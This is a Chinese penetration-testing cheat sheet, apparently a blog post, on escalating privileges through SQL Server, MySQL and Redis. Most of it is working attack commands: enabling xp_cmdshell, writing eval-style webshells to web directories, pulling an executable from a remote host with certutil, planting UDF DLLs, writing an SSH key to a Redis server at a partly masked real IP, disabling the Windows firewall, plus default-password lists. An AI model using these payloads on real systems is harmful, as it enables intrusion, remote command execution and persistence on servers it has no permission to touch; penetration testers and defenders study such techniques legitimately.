zoukankan      html  css  js  c++  java
  • 【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)

    4、数据库安全基础

    4.1、MSSQL

    数据库角色权限
    sysadmin:执行SQL Server中的任何动作
    
    db_owner:可以执行数据库中技术所有动作的用户
    
    public:数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。
    
    数据库身份验证
    SQL Server中的验证方式
    Windows身份验证模式
    SQL Server和Windows身份验证模式(混合模式)
    
    常用命令
    • xp_cmdshell 执行命令
    exec xp_cmdshell 'dir'
    
    • sp_configure 开启扩展
    exec sp_configure 'show'
    exec sp_configure 'show advanced options',1
    reconfigure
    go
    exec sp_configure 'xp_cmdshell',1
    reconfigure
    go
    
    • 文件上传
    1、通过SQL搜索指定文件
    
    1> exec xp_cmdshell 'dir /s C: /b | findstr "Files.aspx"';
    2> go
    +-------------------+
    | output            |
    +-------------------+
    | C:webFiles.aspx |
    | NULL              |
    +-------------------+
    (2 rows affected)
    
    2、通过SQL写webshell到网站目录,DOS转义问题
    
    1> exec xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["z"],"unsafe");%^> >> C:webhello.aspx';
    2> go
    +--------+
    | output |
    +--------+
    | NULL   |
    +--------+
    (1 rows affected)
    
    
    3、文件下载
    
    # 本地开启Web服务
    python -m SimpleHTTPServer 80   
    # 远程服务器执行下载
    1> exec xp_cmdshell "certutil -urlcache -f -split http://172.18.0.24/3389.exe";
    2> go
    +------------------------------------+
    | output                             |
    +------------------------------------+
    | ****  联机  ****                   |
    |   000000  ...                      |
    |   02c8fe                           |
    | CertUtil: -URLCache 命令成功完成。 |
    | NULL                               |
    +------------------------------------+
    (5 rows affected)
    
    
    • 加解密web.config
    aspnet_regiis -pef "加密的字段" "web路径不带"
    aspnet_regiis -pdf "解密的字段" "web路径不带"
    

    4.2、MySQL

    获取Shell

    获取方法有两种

    • 上传一个用户自定义方法udf,执行系统命令
    • mysql+web的形式,into outfile写文件

    常用语句

    # 显示用户名
    select user();            
    # 显示数据库版本
    select @@version;
    # 显示导出目录路径
    select @@secure_file_priv;
    # 将数据导出到某个文件
    select 1 into outfile '/var/www/html/sql/1.txt';
    select "<?=system($_GET['z']);?>" into outfile '/var/www/html/sql/z.php'
    select "<?=eval($_REQUEST['z']);?>" into outfile '/var/www/html/sql/z1.php'
    

    导出UDF.DLL

    # 1、MySQL5 新建plugin目录
    select @@basedir; //查找到mysql的目录 
    
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
    
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 
    
    # 2、利用网络共享导出UDF
    
    select load_file('\\192.168.0.19\share\udf.dll') into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";
    
    # 3、十六进制导出
    
    // 转换为hex函数
    select hex(load_file('D:\udf.dll')) into dumpfile "D:\udf.hex";
    // 导入
    select 0x4d5a...... into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";
    
    # 4、创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。
    
    create table temp(data longblob); 
    insert into temp(data) values (0x4d5a9....); 
    update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\phpStudy\MySQL\lib\plugin\udf.dll"; 
    
    # 5、使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。
    
    # 转换为base64
    select to_base64(load_file('D:\udf.dll'));
    
    # base64导出为DLL
    select from_base64("Base64编码") into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";
    
    条件

    1、into outfile需要MySQL的file权限

    2、MySQL5.7以后,secure_file_priv只能通过mysqld.cnf配置文件编辑。默认不配置,outfile写文件无权限。

    3、读写文件时候,文件操作的用户是mysql:mysql,所以需要MySQL具有一个可写入的目录权限。

    4.3、Redis

    漏洞测试

    1)本地生成秘钥
    
    root@GanDolf:~# ssh-keygen  -t rsa
    
    2)将公钥写入一个文件
    
    root@GanDolf:~# cd /root/.ssh/
    
    root@GanDolf:~/.ssh# (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > foo.txt
    
    3)连接redis写入文件
    
    root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
    
    OK
    root@GanDolf:~/.ssh# redis-cli  -h 210.73.90.xxx
    
    210.73.90.xxx:6379> config set dir /root/.ssh/
    OK
    (1.39s)
    210.73.90.xxx:6379> CONFIG GET dir
    1) "dir"
    2) "/root/.ssh"
    210.73.90.xxx:6379> config set dbfilename "authorized_keys"
    OK
    (1.03s)
    210.73.90.xxx:6379> SAVE
    saOK
    (1.40s)
    210.73.90.xxx:6379> SAVE
    OK
    210.73.90.xxx:6379> exit
    root@GanDolf:~/.ssh# ssh
    
    4)连接服务器
    root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx
    

    5、操作系统安全基础

    搜索文件

    dir /s C: /b | findstr "Files.aspx"
    

    批量查找文件

    for /r c:game %i in (xxxx.txt) do @echo %i
    

    windows命令查看文件

    type C:\flag.txt
    

    关闭防火墙

    netsh firewall set opmode mode=disable
    

    下载文件(windows2008)

    certutil -urlcache -f -split http://172.18.0.24/3389.exe";
    

    下载的方式
    Windows下各种一行代码的download
    https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/?tdsourcetag=s_pcqq_aiomsg

    如何挖掘新的可持续后门技巧
    http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks

    6、中间件安全基础

    日志分析

    管理员后台

    admin、manage、login、system

    后门相关

    help.php、fuck.php、f4ck.php

    7、渗透实际操作

    • 端口扫描

    • 口令测试:admin/admin、admin/admin888、admin/123456、root/root等

    • 目录扫描

    • web安全漏洞测试:文件上传、文件下载、base64编码、常见配置文件路径

    • 提权:数据库提权

      • MySQL:outfile
    select <?php phpinfo();?> outfile D:shell.php
    
      • MSSQL:开启XP_CMDSHELL
    exec sp_configure 'show'
    exec sp_configure 'show advanced options',1
    reconfigure
    go
    exec sp_configure 'xp_cmdshell',1
    reconfigure
    go
    
    • 连接远程桌面
      • 关闭防火墙
    netsh firewall set opmode mode=disable
    
  • 相关阅读:
    docker mysql 主从配置
    在docker上安装运行mysql实例
    mongodb分片集搭建
    mongodb片健的选取及更改
    MySQL 5.7的多源复制
    percona-toolkit使用教程
    Python基础操作-集合
    nginx location 在配置中的优先级
    OpenResty知识汇集
    开源分布式日志框架
  • 原文地址:https://www.cnblogs.com/17bdw/p/9723333.html
Copyright © 2011-2022 走看看